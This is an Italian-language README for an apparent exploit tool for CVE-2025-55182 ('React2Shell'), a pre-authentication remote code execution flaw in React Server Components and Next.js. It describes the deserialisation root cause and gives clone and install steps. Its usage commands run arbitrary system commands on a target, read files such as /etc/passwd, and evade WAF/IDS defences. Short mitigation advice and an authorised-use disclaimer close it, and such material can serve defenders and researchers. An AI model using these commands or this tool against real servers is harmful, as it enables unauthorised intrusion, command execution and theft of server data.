CVE-2025-55182 — React2Shell

Esecuzione remota di codice (RCE) pre-autenticazione in React Server Components (RSC), Next.js e framework correlati.

Panoramica

CVE-2025-55182 (nota anche come React2Shell) è una vulnerabilità critica di RCE pre-autenticazione che colpisce l'ecosistema React Server Components (RSC). Un attaccante non autenticato può compromettere completamente un server vulnerabile con una singola richiesta HTTP POST appositamente elaborata.

Analisi Tecnica

Causa Principale

React Server Components utilizza un formato wire personalizzato chiamato React Flight per serializzare riferimenti a funzioni e chiamate di moduli. La vulnerabilità risiede nel meccanismo di decodifica dei payload che elabora le richieste POST in arrivo verso gli endpoint RSC.

Quando il server riceve un payload React Flight, deserializza il contenuto senza un'adeguata validazione, fidandosi dei campi $$typeof controllati dall'attaccante e della risoluzione dei riferimenti ai moduli. Ciò consente a un attaccante di:

1. Fare riferimento a moduli integrati arbitrari di Node.js (es. child_process, fs, net)
2. Concatenare chiamate di funzione tramite il marcatore di tipo $F (funzione)
3. Eseguire codice arbitrario nel runtime del server Node.js

Versioni Interessate

CVSS

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0 Critical

Funzionalità

• Scansione – Rileva endpoint RSC vulnerabili e identifica le versioni di Next.js/React.
• Verifica (OAST) – Invia payload out‑of‑band per confermare la RCE tramite callback DNS/HTTP.
• Bypass – Evasione completa di WAF/IDS: mutazioni del content-type, codifica dei payload, spoofing degli header, varianti di path e payload WAF.
• Esecuzione – Esegue comandi di sistema arbitrari sul target (es. id, whoami).
• Lettura – Legge file arbitrari dal server (es. /etc/passwd, package.json).
• Output JSON – Risultati machine‑readable per l'integrazione.

Installazione

git clone https://github.com/SentinelXofficial/CVE-2025-55182
cd CVE-2025-55182
pip install -r requirements.txt

Utilizzo

Scansione di Base

python3 poc.py -t https://target.com
python3 poc.py -t https://target.com --timeout 15
python3 poc.py -t https://target.com --json

Verifica RCE con OAST

python3 poc.py -t https://target.com -m verify --oast your.oast.domain

Test Completo di Bypass

python3 poc.py -t https://target.com -m bypass --verbose

Esegui Comandi

python3 poc.py -t https://target.com -m exec --cmd "id"
python3 poc.py -t https://target.com -m exec --cmd "whoami" --timeout 20

Leggi File

python3 poc.py -t https://target.com -m read --file "/etc/passwd"
python3 poc.py -t https://target.com -m read --file "/app/package.json"

Utilizzo di un Proxy (es. Burp Suite)

python3 poc.py -t https://target.com --proxy http://127.0.0.1:8080

Struttura dei File

CVE-2025-55182/
├── README.md
├── poc.py
├── requirements.txt
└── exploit/
    ├── __init__.py
    ├── payloads.py
    ├── scanner.py
    ├── bypass.py
    └── rce.py

Mitigazione

Patch (Consigliata)

npm install [email protected]
npm install [email protected] [email protected]

Workaround Temporanei

· Disattivare le Server Functions ("use server") · Regole WAF per bloccare Content-Type: text/x-component · Segmentazione di rete per gli endpoint RSC

Riferimenti

· https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components · https://www.cve.org/CVERecord?id=CVE-2025-55182 · https://nvd.nist.gov/vuln/detail/CVE-2025-55182

Disclaimer: Solo per test di sicurezza autorizzati.

Autore: SentinelX · https://t.me/SentinelXsecurity